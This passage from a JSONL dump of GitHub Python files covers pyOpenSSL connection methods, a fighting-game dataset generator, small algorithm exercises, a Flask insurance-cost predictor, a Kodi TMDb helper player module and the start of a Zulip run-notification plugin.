\"\"\"\n        Set application data\n\n        :param data - The application data\n        :return: None\n        \"\"\"\n        self._app_data = data\n\n\n    def get_shutdown(self):\n        \"\"\"\n        Get shutdown state\n\n        :return: The shutdown state, a bitvector of SENT_SHUTDOWN, RECEIVED_SHUTDOWN.\n        \"\"\"\n        return _lib.SSL_get_shutdown(self._ssl)\n\n\n    def set_shutdown(self, state):\n        \"\"\"\n        Set shutdown state\n\n        :param state - bitvector of SENT_SHUTDOWN, RECEIVED_SHUTDOWN.\n        :return: None\n        \"\"\"\n        if not isinstance(state, integer_types):\n            raise TypeError(\"state must be an integer\")\n\n        _lib.SSL_set_shutdown(self._ssl, state)\n\n\n    def state_string(self):\n        \"\"\"\n        Get a verbose state description\n\n        :return: A string representing the state\n        \"\"\"\n\n    def server_random(self):\n        \"\"\"\n        Get a copy of the server hello nonce.\n\n        :return: A string representing the state\n        \"\"\"\n        if self._ssl.session == _ffi.NULL:\n            return None\n        return _ffi.buffer(\n            self._ssl.s3.server_random,\n            _lib.SSL3_RANDOM_SIZE)[:]\n\n\n    def client_random(self):\n        \"\"\"\n        Get a copy of the client hello nonce.\n\n        :return: A string representing the state\n        \"\"\"\n        if self._ssl.session == _ffi.NULL:\n            return None\n        return _ffi.buffer(\n            self._ssl.s3.client_random,\n            _lib.SSL3_RANDOM_SIZE)[:]\n\n\n    def master_key(self):\n        \"\"\"\n        Get a copy of the master key.\n\n        :return: A string representing the state\n        \"\"\"\n        if self._ssl.session == _ffi.NULL:\n            return None\n        return _ffi.buffer(\n            self._ssl.session.master_key,\n            self._ssl.session.master_key_length)[:]\n\n\n    def sock_shutdown(self, *args, **kwargs):\n        \"\"\"\n        See shutdown(2)\n\n        :return: What the socket's shutdown() method returns\n        \"\"\"\n        return self._socket.shutdown(*args, **kwargs)\n\n\n    def get_peer_certificate(self):\n        \"\"\"\n        Retrieve the other side's certificate (if any)\n\n        :return: The peer's certificate\n        \"\"\"\n        cert = _lib.SSL_get_peer_certificate(self._ssl)\n        if cert != _ffi.NULL:\n            pycert = X509.__new__(X509)\n            pycert._x509 = _ffi.gc(cert, _lib.X509_free)\n            return pycert\n        return None\n\n\n    def get_peer_cert_chain(self):\n        \"\"\"\n        Retrieve the other side's certificate (if any)\n\n        :return: A list of X509 instances giving the peer's certificate chain,\n                 or None if it does not have one.\n        \"\"\"\n        cert_stack = _lib.SSL_get_peer_cert_chain(self._ssl)\n        if cert_stack == _ffi.NULL:\n            return None\n\n        result = []\n        for i in range(_lib.sk_X509_num(cert_stack)):\n            # TODO could incref instead of dup here\n            cert = _lib.X509_dup(_lib.sk_X509_value(cert_stack, i))\n            pycert = X509.__new__(X509)\n            pycert._x509 = _ffi.gc(cert, _lib.X509_free)\n            result.append(pycert)\n        return result\n\n\n    def want_read(self):\n        \"\"\"\n        Checks if more data has to be read from the transport layer to complete an\n        operation.\n\n        :return: True iff more data has to be read\n        \"\"\"\n        return _lib.SSL_want_read(self._ssl)\n\n\n    def want_write(self):\n        \"\"\"\n        Checks if there is data to write to the transport layer to complete an\n        operation.\n\n        :return: True iff there is data to write\n        \"\"\"\n        return _lib.SSL_want_write(self._ssl)\n\n\n    def set_accept_state(self):\n        \"\"\"\n        Set the connection to work in server mode. The handshake will be handled\n        automatically by read/write.\n\n        :return: None\n        \"\"\"\n        _lib.SSL_set_accept_state(self._ssl)\n\n\n    def set_connect_state(self):\n        \"\"\"\n        Set the connection to work in client mode. The handshake will be handled\n        automatically by read/write.\n\n        :return: None\n        \"\"\"\n        _lib.SSL_set_connect_state(self._ssl)\n\n\n    def get_session(self):\n        \"\"\"\n        Returns the Session currently used.\n\n        @return: An instance of :py:class:`OpenSSL.SSL.Session` or :py:obj:`None` if\n            no session exists.\n        \"\"\"\n        session = _lib.SSL_get1_session(self._ssl)\n        if session == _ffi.NULL:\n            return None\n\n        pysession = Session.__new__(Session)\n        pysession._session = _ffi.gc(session, _lib.SSL_SESSION_free)\n        return pysession\n\n\n    def set_session(self, session):\n        \"\"\"\n        Set the session to be used when the TLS/SSL connection is established.\n\n        :param session: A Session instance representing the session to use.\n        :returns: None\n        \"\"\"\n        if not isinstance(session, Session):\n            raise TypeError(\"session must be a Session instance\")\n\n        result = _lib.SSL_set_session(self._ssl, session._session)\n        if not result:\n            _raise_current_error()\n\nConnectionType = Connection\n\n# This is similar to the initialization calls at the end of OpenSSL/crypto.py\n# but is exercised mostly by the Context initializer.\n_lib.SSL_library_init()\n","repo_name":"sorig/moodle-scraper","sub_path":"venv/lib/python2.7/site-packages/OpenSSL/SSL.py","file_name":"SSL.py","file_ext":"py","file_size_in_byte":43264,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"77"}
+{"seq_id":"19536288437","text":"from tqdm import tqdm\nfrom subprocess import Popen\nimport os\nimport sys\nimport logging\n\nlogging.basicConfig()\nlogger = logging.getLogger(\"createDataset\")\nlogger.setLevel(logging.INFO)\n\n\ndef createDataset(datasetPath):\n    numberOfMatchesPerConfiguration = 10\n    contestantAIs = [\"MctsAi\", \"JerryMizunoAI\", \"LoadTorchWeightAI\", \"RandomAI\"]\n    availableCharacters = [\"ZEN\", \"GARNET\", \"LUD\"]\n    positions = [\"player 1\", \"player 2\"]\n\n    datasetPath += 'dataset/'\n    if not os.path.isdir(datasetPath):\n        os.mkdir(datasetPath)\n    createTemporaryFileWithDatasetLocation(datasetPath)\n\n    try:\n        for contestant in tqdm(contestantAIs):\n            for position in positions:\n                for character1 in availableCharacters:\n                    for character2 in availableCharacters:\n                        prepareTemporaryFile(datasetPath, contestant, character1, character2, position)\n                        playMatch(contestant, character1, character2, position, numberOfGames=numberOfMatchesPerConfiguration)\n    except KeyboardInterrupt:\n        os.remove('.datasetPath.yaml')\n        logger.info(\"DATASET CREATION STOPPED BY USER\")\n\n\ndef createTemporaryFileWithDatasetLocation(datasetPath):\n    with open('.datasetPath.yaml', 'w') as f:\n        f.write('datasetPath: ' + datasetPath)\n\n\ndef prepareTemporaryFile(datasetPath, contestant, character1, character2, playerPosition):\n    content = 'contestantAI: {}\\ncharacter1: {}\\ncharacter2: {}\\n'.format(contestant, character1, character2)\n    with open(datasetPath + \".temp_match_info.yaml\", \"w+\") as f:\n        f.write(content)\n        f.truncate()\n\n\ndef playMatch(contestant, character1, character2, position, numberOfGames):\n    classpath = \"bin:lib/logback/:lib/slf4j-1.7.25/slf4j-api-1.7.25.jar:lib/slf4j-1.7.25/slf4j-simple-1.7.25.jar:lib/snakeyaml-1.17.jar:lib/natives/linux/lwjgl-glfw-natives-linux.jar:data/aiData/:lib/natives/linux/lwjgl-natives-linux.jar:lib/natives/linux/lwjgl-openal-natives-linux.jar:lib/natives/linux/lwjgl-opengl-natives-linux.jar:FightingICE.jar:lib/lwjgl/lwjgl_util.jar:lib/lwjgl/lwjgl-glfw.jar:lib/lwjgl/lwjgl-openal.jar:lib/lwjgl/lwjgl-opengl.jar:lib/lwjgl/lwjgl.jar:lib/javax.json-1.0.4.jar:lib/py4j0.10.4.jar\"\n    mainClass = \"Main\"\n\n    numberOfMatches = '-n {}'.format(numberOfGames)\n    matchContestants = '--a1 DatasetCreator --a2 {}'.format(contestant) if position == \"player 1\" else '--a1 {} --a2 DatasetCreator'.format(contestant)\n    playableCharacters = '--c1 {} --c2 {}'.format(character1, character2)\n    otherFlags = '--grey-bg --inverted-player 1 --mute'\n    flags     = (numberOfMatches + ' ' + matchContestants + ' ' + playableCharacters + ' ' + otherFlags).split(' ')\n\n    p = Popen([\"java\", \"-classpath\", classpath, mainClass] + flags)\n    p.wait()\n\n\nif __name__ == '__main__':\n    if len(sys.argv) != 2:\n        print('\\n')\n        logger.error(\"The script takes exactly 1 argument, which represents the path where the dataset will be created\")\n        print('\\n')\n    else:\n        datasetPath = str(sys.argv[1])\n        createDataset(datasetPath)\n","repo_name":"Danielhp95/CIG-FightingICE-2018-entry","sub_path":"FTG4.30/createDataset.py","file_name":"createDataset.py","file_ext":"py","file_size_in_byte":3076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"41506508358","text":"\n\ndef frac_knapsack(arr : list, weight):\n    arr.sort(key=lambda x : x[1]/x[0], reverse=True)\n    res = 0.0\n    for item in arr:\n        if item[0] <= weight:\n            res += item[1]\n            weight -= item[0]\n        else:\n            res += item[1] * weight/item[0]\n            break\n\n    return res\n\n\nprint(frac_knapsack([(10,60), (40,40), (20,100), (30,120)], 50))","repo_name":"anmol211/TrailStuff","sub_path":"Greedy/fractional_knapsack.py","file_name":"fractional_knapsack.py","file_ext":"py","file_size_in_byte":374,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"25569331664","text":"# Definition for a  binary tree node\n# class TreeNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.left = None\n#         self.right = None\n\nclass Solution:\n    # @param root, a tree node\n    # @return a list of lists of integers\n    result = []\n    def zigzagLevelOrder(self, root):\n        if (root == None) :\n            return []\n        if (root.left == None and root.right == None):\n            return [[root.val]]\n        self.result = []\n        self.result.append([root.val])\n        self.helper([root])\n        return self.result\n        \n    def helper(self, treeArray):\n        tempResult = []\n        tempTreeArray = []\n        for i in treeArray:\n            if(i.left != None):\n                tempResult.append(i.left.val)\n                tempTreeArray.append(i.left)\n            if(i.right != None):\n                tempResult.append(i.right.val)\n                tempTreeArray.append(i.right)\n                \n        if (tempResult == [] or tempTreeArray == []):\n            return\n        if(len(self.result) % 2 == 1):\n            tempResult.reverse()\n        self.result.append(tempResult)\n        self.helper (tempTreeArray)\n        \n","repo_name":"jinmingmu/codeingInterview","sub_path":"Binary_Tree_Zigzag_Level_Order_Traversal.py","file_name":"Binary_Tree_Zigzag_Level_Order_Traversal.py","file_ext":"py","file_size_in_byte":1178,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"15161296649","text":"from flask import Flask,render_template,request\nimport pickle\napp=Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    return render_template('index.html')\n\n@app.route(\"/form\")\ndef form():\n    return render_template('form.html')\n\n@app.route('/result',methods=['POST'])\ndef insurance_cost():\n    age=int(request.form['age'])\n    bmi=float(request.form['bmi'])\n    children=int(request.form['no_of_children'])\n    sex=request.form['gender']\n    smoker=request.form['smoker']\n    region=request.form['region']\n    r1=0\n    r2=0\n    r3=0\n    if(region==1):\n        r1=1\n        r2=0\n        r3=0\n    elif(region==2):\n        r1=0\n        r2=0\n        r3=0\n    elif(region==3):\n        r1=0\n        r2=1\n        r3=0\n    elif(region==4):\n        r1=0\n        r2=0\n        r3=1\n    \n    print(r1,r2,r3)\n    filename = 'model.sav'\n    loaded_model = pickle.load(open(filename, 'rb'))\n    result = round(float(loaded_model.predict([[age,bmi,children,sex,smoker,r1,r2,r3]])),2)\n    return render_template('result.html',result=result)\n\nif __name__=='__main__':\n    app.run(debug=True)","repo_name":"anushavc/Insurance-Cost-Predictor","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"39430726816","text":"import xbmc\nimport xbmcgui\nimport xbmcvfs\nimport datetime\nimport resources.lib.utils as utils\nfrom json import loads\nfrom string import Formatter\nfrom collections import defaultdict\nfrom resources.lib.plugin import Plugin\nfrom resources.lib.kodilibrary import KodiLibrary\nfrom resources.lib.traktapi import TraktAPI\nfrom resources.lib.listitem import ListItem\ntry:\n    from urllib.parse import quote_plus  # Py3\nexcept ImportError:\n    from urllib import quote_plus  # Py2\n\n\ndef string_format_map(fmt, d):\n    try:\n        str.format_map\n    except AttributeError:\n        parts = Formatter().parse(fmt)\n        return fmt.format(**{part[1]: d[part[1]] for part in parts})\n    else:\n        return fmt.format(**d)\n\n\nclass Player(Plugin):\n    def __init__(self):\n        super(Player, self).__init__()\n        self.traktapi = TraktAPI()\n        self.search_movie, self.search_episode, self.play_movie, self.play_episode = [], [], [], []\n        self.item = defaultdict(lambda: '+')\n        self.itemlist, self.actions, self.players, self.identifierlist = [], [], {}, []\n        self.is_local = None\n        self.dp_movies = self.addon.getSettingString('default_player_movies')\n        self.dp_episodes = self.addon.getSettingString('default_player_episodes')\n        self.dp_movies_id = None\n        self.dp_episodes_id = None\n        self.fallbacks = {}\n\n    def setup_players(self, tmdbtype=None, details=False, clearsetting=False, assertplayers=True):\n        self.build_players(tmdbtype)\n        if details:\n            self.build_details()\n        self.build_selectbox(clearsetting, assertplayers)\n\n    def get_fallback(self, dp_file, dp_action):\n        fallback = self.players.get(dp_file, {}).get('fallback', {}).get(dp_action)\n        if not fallback:  # No fallback so prompt dialog\n            return xbmcgui.Dialog().select(self.addon.getLocalizedString(32042), self.itemlist)\n        if fallback in self.identifierlist:  # Found a fallback in list so play that\n            return self.identifierlist.index(fallback)\n        fb_file, fb_action = fallback.split()\n        return self.get_fallback(fb_file, fb_action)  # Fallback not in list so let's check fallback's fallback\n\n    def get_playerindex(self, force_dialog=False):\n        if force_dialog or (self.itemtype == 'movie' and not self.dp_movies) or (self.itemtype == 'episode' and not self.dp_episodes):\n            idx = xbmcgui.Dialog().select(self.addon.getLocalizedString(32042), self.itemlist)  # Ask user to select player\n            if self.itemtype == 'movie':\n                self.dp_movies = self.itemlist[idx].getLabel()\n                self.dp_movies_id = self.identifierlist[idx]\n            elif self.itemtype == 'episode':\n                self.dp_episodes = self.itemlist[idx].getLabel()\n                self.dp_episodes_id = self.identifierlist[idx]\n            return idx\n\n        for i in range(0, len(self.itemlist)):\n            label = self.itemlist[i].getLabel()\n            if (\n                    (label == self.dp_movies and self.itemtype == 'movie') or\n                    (label == self.dp_episodes and self.itemtype == 'episode') or\n                    (label == u'{0} {1}'.format(self.addon.getLocalizedString(32061), 'Kodi'))):\n                return i  # Play local or with default player if found\n\n        # Check for fallbacks\n        if self.itemtype == 'movie' and self.dp_movies_id:\n            dp_file, dp_action = self.dp_movies_id.split()\n            return self.get_fallback(dp_file, dp_action)\n        if self.itemtype == 'episode' and self.dp_episodes_id:\n            dp_file, dp_action = self.dp_episodes_id.split()\n            return self.get_fallback(dp_file, dp_action)\n\n        return -1\n\n    def play_external(self, force_dialog=False, playerindex=-1):\n        if playerindex > -1:  # Previous iteration didn't find an item to play so remove it and retry\n            xbmcgui.Dialog().notification(self.itemlist[playerindex].getLabel(), self.addon.getLocalizedString(32040))\n            del self.actions[playerindex]  # Item not found so remove the player's action list\n            del self.itemlist[playerindex]  # Item not found so remove the player's select dialog entry\n            del self.identifierlist[playerindex]  # Item not found so remove the player's index\n\n        playerindex = self.get_playerindex(force_dialog=force_dialog)\n\n        # User cancelled dialog\n        if not playerindex > -1:\n            return False\n\n        player = self.actions[playerindex]\n        if not player or not player[1]:\n            return False\n\n        # External player has list of actions so let's iterate through them to find our item\n        resolve_url = False\n        if isinstance(player[1], list):\n            actionlist = player[1]\n            player = (False, actionlist[0])\n            for d in actionlist[1:]:\n                if player[0]:\n                    break  # Playable item was found in last action so let's break and play it\n                folder = KodiLibrary().get_directory(string_format_map(player[1], self.item))  # Get the next folder from the plugin\n\n                if d.get('dialog'):  # Special option to show dialog of items to select from\n                    d_items = []\n                    for f in folder:  # Create our list of items\n                        if not f.get('label') or f.get('label') == 'None':\n                            continue\n                        lb_list = []\n                        label_a = f.get('label')\n                        if f.get('year') and f.get('year') != 1601:\n                            label_a = u'{} ({})'.format(label_a, f.get('year'))\n                        if utils.try_parse_int(f.get('season', 0)) > 0 and utils.try_parse_int(f.get('episode', 0)) > 0:\n                            label_a = u'{}x{}. {}'.format(f.get('season'), f.get('episode'), label_a)\n                        if f.get('streamdetails'):\n                            sdv_list = f.get('streamdetails', {}).get('video', [{}]) or [{}]\n                            sda_list = f.get('streamdetails', {}).get('audio', [{}]) or [{}]\n                            sdv, sda = sdv_list[0], sda_list[0]\n                            if sdv.get('width') or sdv.get('height'):\n                                lb_list.append(u'{}x{}'.format(sdv.get('width'), sdv.get('height')))\n                            if sdv.get('codec'):\n                                lb_list.append(u'{}'.format(sdv.get('codec', '').upper()))\n                            if sda.get('codec'):\n                                lb_list.append(u'{}'.format(sda.get('codec', '').upper()))\n                            if sda.get('channels'):\n                                lb_list.append(u'{} CH'.format(sda.get('channels', '')))\n                            for i in sda_list:\n                                if i.get('language'):\n                                    lb_list.append(u'{}'.format(i.get('language', '').upper()))\n                            if sdv.get('duration'):\n                                lb_list.append(u'{} mins'.format(utils.try_parse_int(sdv.get('duration', 0)) // 60))\n                        if f.get('size'):\n                            lb_list.append(u'{}'.format(utils.normalise_filesize(f.get('size', 0))))\n                        label_b = ' | '.join(lb_list) if lb_list else ''\n                        d_items.append(ListItem(label=label_a, label2=label_b, icon=f.get('thumbnail')).set_listitem())\n                    if d_items:\n                        idx = 0\n                        if d.get('dialog', '').lower() != 'auto' or len(d_items) != 1:\n                            idx = xbmcgui.Dialog().select('Select Item', d_items, useDetails=True)\n                        if idx == -1:  # User exited the dialog so return and do nothing\n                            return\n                        resolve_url = True if folder[idx].get('filetype') == 'file' else False  # Set true for files so we can play\n                        player = (resolve_url, folder[idx].get('file'))  # Set the folder path to open/play\n                        break  # Move onto next action\n                    else:  # Ask user to select a different player if no items in dialog\n                        return self.play_external(force_dialog=force_dialog, playerindex=playerindex)\n\n                x = 0\n                for f in folder:  # Iterate through plugin folder looking for a matching item\n                    x += 1  # Keep an index for position matching\n                    for k, v in d.items():  # Iterate through our key (infolabel) / value (infolabel must match) pairs of our action\n                        if k == 'position':  # We're looking for an item position not an infolabel\n                            if utils.try_parse_int(string_format_map(v, self.item)) != x:  # Format our position value\n                                break  # Not the item position we want so let's go to next item in folder\n                        elif not f.get(k) or string_format_map(v, self.item) not in u'{}'.format(f.get(k, '')):  # Format our value and check if it matches the infolabel key\n                            break  # Item's key value doesn't match value we are looking for so let's got to next item in folder\n                    else:  # Item matched our criteria so let's open it up\n                        resolve_url = True if f.get('filetype') == 'file' else False  # Set true for files so we can play\n                        player = (resolve_url, f.get('file'))  # Get ListItem.FolderPath for item\n                        break  # Move onto next action (either open next folder or play file)\n                else:\n                    return self.play_external(force_dialog=force_dialog, playerindex=playerindex)  # Ask user to select a different player\n\n        # Play/Search found item\n        if player and player[1]:\n            action = string_format_map(player[1], self.item)\n            if player[0] and action.endswith('.strm'):  # Action is play and is a strm so PlayMedia\n                xbmc.executebuiltin(utils.try_decode_string(u'PlayMedia({0})'.format(action)))\n            elif player[0]:  # Action is play and not a strm so play with player\n                xbmc.Player().play(action, ListItem(library='video', **self.details).set_listitem())\n            else:\n                action = u'Container.Update({0})'.format(action) if xbmc.getCondVisibility(\"Window.IsMedia\") else u'ActivateWindow(videos,{0},return)'.format(action)\n                xbmc.executebuiltin(utils.try_decode_string(action))\n            return action\n\n    def play(self, itemtype, tmdb_id, season=None, episode=None, force_dialog=False):\n        \"\"\" Entry point for player method \"\"\"\n        if not tmdb_id or not itemtype:\n            return\n\n        # Get the details for the item\n        self.itemtype, self.tmdb_id, self.season, self.episode = itemtype, tmdb_id, season, episode\n        self.tmdbtype = 'tv' if self.itemtype in ['episode', 'tv'] else 'movie'\n        self.details = self.tmdb.get_detailed_item(self.tmdbtype, tmdb_id, season=season, episode=episode)\n        self.item['imdb_id'] = self.details.get('infolabels', {}).get('imdbnumber')\n        self.item['originaltitle'] = self.details.get('infolabels', {}).get('originaltitle')\n        self.item['title'] = self.details.get('infolabels', {}).get('tvshowtitle') or self.details.get('infolabels', {}).get('title')\n        self.item['year'] = self.details.get('infolabels', {}).get('year')\n\n        # Check if we have a local file\n        # TODO: Add option to auto play local\n        if self.details and self.itemtype == 'movie':\n            self.is_local = self.localmovie()\n        if self.details and self.itemtype == 'episode':\n            self.is_local = self.localepisode()\n\n        self.setup_players(details=True)\n\n        if not self.itemlist:\n            return False\n\n        return self.play_external(force_dialog=force_dialog)\n\n    def build_details(self):\n        self.item['id'] = self.tmdb_id\n        self.item['tmdb'] = self.tmdb_id\n        self.item['imdb'] = self.details.get('infolabels', {}).get('imdbnumber')\n        self.item['name'] = u'{0} ({1})'.format(self.item.get('title'), self.item.get('year'))\n        self.item['firstaired'] = self.details.get('infolabels', {}).get('premiered')\n        self.item['premiered'] = self.details.get('infolabels', {}).get('premiered')\n        self.item['released'] = self.details.get('infolabels', {}).get('premiered')\n        self.item['showname'] = self.item.get('title')\n        self.item['clearname'] = self.item.get('title')\n        self.item['tvshowtitle'] = self.item.get('title')\n        self.item['title'] = self.item.get('title')\n        self.item['thumbnail'] = self.details.get('thumb')\n        self.item['poster'] = self.details.get('poster')\n        self.item['fanart'] = self.details.get('fanart')\n        self.item['now'] = datetime.datetime.now().strftime('%Y%m%d%H%M%S%f')\n\n        if self.traktapi:\n            slug_type = utils.type_convert(self.tmdbtype, 'trakt')\n            trakt_details = self.traktapi.get_details(slug_type, self.traktapi.get_traktslug(slug_type, 'tmdb', self.tmdb_id))\n            self.item['trakt'] = trakt_details.get('ids', {}).get('trakt')\n            self.item['imdb'] = trakt_details.get('ids', {}).get('imdb')\n            self.item['tvdb'] = trakt_details.get('ids', {}).get('tvdb')\n            self.item['slug'] = trakt_details.get('ids', {}).get('slug')\n\n        if self.itemtype == 'episode':  # Do some special episode stuff\n            self.item['id'] = self.item.get('tvdb')\n            self.item['title'] = self.details.get('infolabels', {}).get('title')  # Set Episode Title\n            self.item['name'] = u'{0} S{1:02d}E{2:02d}'.format(self.item.get('showname'), int(utils.try_parse_int(self.season)), int(utils.try_parse_int(self.episode)))\n            self.item['season'] = self.season\n            self.item['episode'] = self.episode\n\n        if self.traktapi and self.itemtype == 'episode':\n            trakt_details = self.traktapi.get_details(slug_type, self.item.get('slug'), season=self.season, episode=self.episode)\n            self.item['epid'] = trakt_details.get('ids', {}).get('tvdb')\n            self.item['epimdb'] = trakt_details.get('ids', {}).get('imdb')\n            self.item['eptmdb'] = trakt_details.get('ids', {}).get('tmdb')\n            self.item['eptrakt'] = trakt_details.get('ids', {}).get('trakt')\n\n        for k, v in self.item.copy().items():\n            v = u'{0}'.format(v)\n            self.item[k] = v.replace(',', '')\n            self.item[k + '_+'] = v.replace(' ', '+')\n            self.item[k + '_-'] = v.replace(' ', '-')\n            self.item[k + '_escaped'] = v.replace(' ', '%2520')\n            self.item[k + '_escaped+'] = v.replace(' ', '%252B')\n            self.item[k + '_url'] = quote_plus(utils.try_encode_string(v))\n\n    def build_players(self, tmdbtype=None):\n        basedirs = ['special://profile/addon_data/plugin.video.themoviedb.helper/players/']\n        if self.addon.getSettingBool('bundled_players'):\n            basedirs.append('special://home/addons/plugin.video.themoviedb.helper/resources/players/')\n        for basedir in basedirs:\n            files = [x for x in xbmcvfs.listdir(basedir)[1] if x.endswith('.json')]\n            for file in files:\n                vfs_file = xbmcvfs.File(basedir + file)\n                try:\n                    content = vfs_file.read()\n                    meta = loads(content) or {}\n                finally:\n                    vfs_file.close()\n\n                self.players[file] = meta\n                if not meta.get('plugin') or not xbmc.getCondVisibility(u'System.HasAddon({0})'.format(meta.get('plugin'))):\n                    continue  # Don't have plugin so skip\n\n                tmdbtype = tmdbtype or self.tmdbtype\n                priority = utils.try_parse_int(meta.get('priority')) or 1000\n                if tmdbtype == 'movie' and meta.get('search_movie'):\n                    self.search_movie.append((file, priority))\n                if tmdbtype == 'movie' and meta.get('play_movie'):\n                    self.play_movie.append((file, priority))\n                if tmdbtype == 'tv' and meta.get('search_episode'):\n                    self.search_episode.append((file, priority))\n                if tmdbtype == 'tv' and meta.get('play_episode'):\n                    self.play_episode.append((file, priority))\n\n    def build_playeraction(self, playerfile, action, assertplayers=True):\n        player = self.players.get(playerfile, {})\n        isplay = True if action.startswith('play_') else False\n        prefix = self.addon.getLocalizedString(32061) if action.startswith('play_') else xbmc.getLocalizedString(137)\n        label = u'{0} {1}'.format(prefix, player.get('name', ''))\n\n        # Check if matches default player and set default player id\n        if label == self.dp_movies:\n            self.dp_movies_id = '{} {}'.format(playerfile, action)\n        if label == self.dp_episodes:\n            self.dp_episodes_id = '{} {}'.format(playerfile, action)\n\n        # Check that asserted values exist\n        if assertplayers:\n            for i in player.get('assert', {}).get(action, []):\n                if i.startswith('!'):\n                    if self.item.get(i[1:]) and self.item.get(i[1:]) != 'None':\n                        return  # inverted assert - has value but we don't want it so don't build that player\n                else:\n                    if not self.item.get(i) or self.item.get(i) == 'None':\n                        return  # missing / empty asserted value so don't build that player\n\n        # Add player action to list for dialog\n        self.append_playeraction(\n            label=label, action=player.get(action, ''), isplay=isplay,\n            identifier='{} {}'.format(playerfile, action))\n\n    def append_playeraction(self, label, action, isplay=True, identifier=''):\n        self.itemlist.append(xbmcgui.ListItem(label))\n        self.actions.append((isplay, action))\n        self.identifierlist.append(identifier)\n\n    def build_selectbox(self, clearsetting=False, assertplayers=True):\n        self.itemlist, self.actions = [], []\n        if clearsetting:\n            self.itemlist.append(xbmcgui.ListItem(xbmc.getLocalizedString(13403)))  # Clear Default\n        if self.is_local:\n            self.append_playeraction(u'{0} {1}'.format(self.addon.getLocalizedString(32061), 'Kodi'), self.is_local, identifier='play_kodi')\n        for i in sorted(self.play_movie, key=lambda x: x[1]):\n            self.build_playeraction(i[0], 'play_movie', assertplayers=assertplayers)\n        for i in sorted(self.search_movie, key=lambda x: x[1]):\n            self.build_playeraction(i[0], 'search_movie', assertplayers=assertplayers)\n        for i in sorted(self.play_episode, key=lambda x: x[1]):\n            self.build_playeraction(i[0], 'play_episode', assertplayers=assertplayers)\n        for i in sorted(self.search_episode, key=lambda x: x[1]):\n            self.build_playeraction(i[0], 'search_episode', assertplayers=assertplayers)\n\n    def localfile(self, file):\n        if not file:\n            return\n        if file.endswith('.strm'):\n            f = xbmcvfs.File(file)\n            contents = f.read()\n            f.close()\n            if contents.startswith('plugin://plugin.video.themoviedb.helper'):\n                return\n        return file\n\n    def localmovie(self):\n        fuzzy_match = self.addon.getSettingBool('fuzzymatch_movie')\n        return self.localfile(KodiLibrary(dbtype='movie').get_info('file', fuzzy_match=fuzzy_match, **self.item))\n\n    def localepisode(self):\n        fuzzy_match = self.addon.getSettingBool('fuzzymatch_tv')\n        fuzzy_match = True  # TODO: Get tvshow year to match against but for now force fuzzy match\n        dbid = KodiLibrary(dbtype='tvshow').get_info('dbid', fuzzy_match=fuzzy_match, **self.item)\n        return self.localfile(KodiLibrary(dbtype='episode', tvshowid=dbid).get_info('file', season=self.season, episode=self.episode))\n","repo_name":"cbec-dev/plugin.video.themoviedb.helper","sub_path":"resources/lib/player.py","file_name":"player.py","file_ext":"py","file_size_in_byte":20050,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"26097327560","text":"from typing import Optional, TYPE_CHECKING\nimport zulip\nfrom running.plugin.runbms import RunbmsPlugin\nfrom running.util import Moma, register, MomaReservationStatus, config_index_to_chr\nimport logging\nimport copy\nfrom running.suite import is_dry_run\nfrom running.command.runbms import hfac_str\nfrom datetime import datetime, timedelta\nif TYPE_CHECKING:\n    from running.benchmark import Benchmark\n\nRESERVATION_WARNING_HOURS = 12\nRESERVATION_WARNING_THRESHOLD = timedelta(\n    seconds=RESERVATION_WARNING_HOURS * 60 * 60)\n\n\n@register(RunbmsPlugin)\nclass Zulip(RunbmsPlugin):\n    def __init__(self, **kwargs):\n        super().__init__(**kwargs)\n        self.config_file = kwargs.get(\"config_file\", \"~/.zuliprc\")\n        self.client = zulip.Client(config_file=self.config_file)\n        self.request = kwargs.get(\"request\", {})\n        if type(self.request) is not dict:\n            raise TypeError(\"request of Zulip must be a dictionary\")\n        if self.request.get(\"type\") not in [\"private\", \"stream\"]:\n            raise ValueError(\"Request type must be either private or stream\")\n        if self.request.get(\"type\") == \"stream\" and \"topic\" not in self.request:\n            raise KeyError(\"Stream messages must have a topic\")\n        if \"to\" not in self.request:\n            raise KeyError(\"Request must have a to field\")\n        self.nop = is_dry_run()\n        self.moma = Moma()\n        self.last_message_id = None\n        self.last_message_content = None\n\n    def send_message(self, content):\n        message_data = copy.deepcopy(self.request)\n        message_data[\"content\"] = \"{}\\n{}{}\\n\".format(\n            self.run_id,\n            self.get_reservation_message(),\n            content\n        )\n        try:\n            result = self.client.send_message(message_data=message_data)\n            if result[\"result\"] != \"success\":\n                logging.warning(\"Zulip send_message failed\\n{}\".format(result))\n            else:\n                self.last_message_id = result[\"id\"]\n                self.last_message_content = message_data[\"content\"]\n        except:\n            logging.exception(\"Unhandled Zulip send_message exception\")\n\n    def modify_message(self, content):\n        request = {\n            \"message_id\": self.last_message_id,\n            \"content\": content,\n        }\n        try:\n            result = self.client.update_message(request)\n            if result[\"result\"] != \"success\":\n                logging.warning(\n                    \"Zulip update_message failed\\n{}\".format(result))\n            else:\n                self.last_message_content = content\n        except:\n            logging.exception(\"Unhandled Zulip update_message exception\")\n\n    def __str__(self) -> str:\n        return \"Zulip {}\".format(self.name)\n\n    def start_hfac(self, hfac: Optional[float]):\n        if self.nop:\n            return\n        self.send_message(\"hfac {} started\".format(\n            hfac_str(hfac) if hfac is not None else \"None\"))\n\n    def end_hfac(self, hfac: Optional[float]):\n        if self.nop:\n            return\n        self.send_message(\"hfac {} ended\".format(\n            hfac_str(hfac) if hfac is not None else \"None\"))\n\n    def start_benchmark(self, _hfac: Optional[float], _size: Optional[int], bm: \"Benchmark\"):\n        if self.nop:\n            return\n        self.send_message(\"benchmark {} started\".format(bm.name))\n\n    def end_benchmark(self, _hfac: Optional[float], _size: Optional[int], bm: \"Benchmark\"):\n        if self.nop:\n            return\n        self.send_message(\"benchmark {} ended\".format(bm.name))\n\n    def start_invocation(self, _hfac: Optional[float], _size: Optional[int], _bm: \"Benchmark\", invocation: int):\n 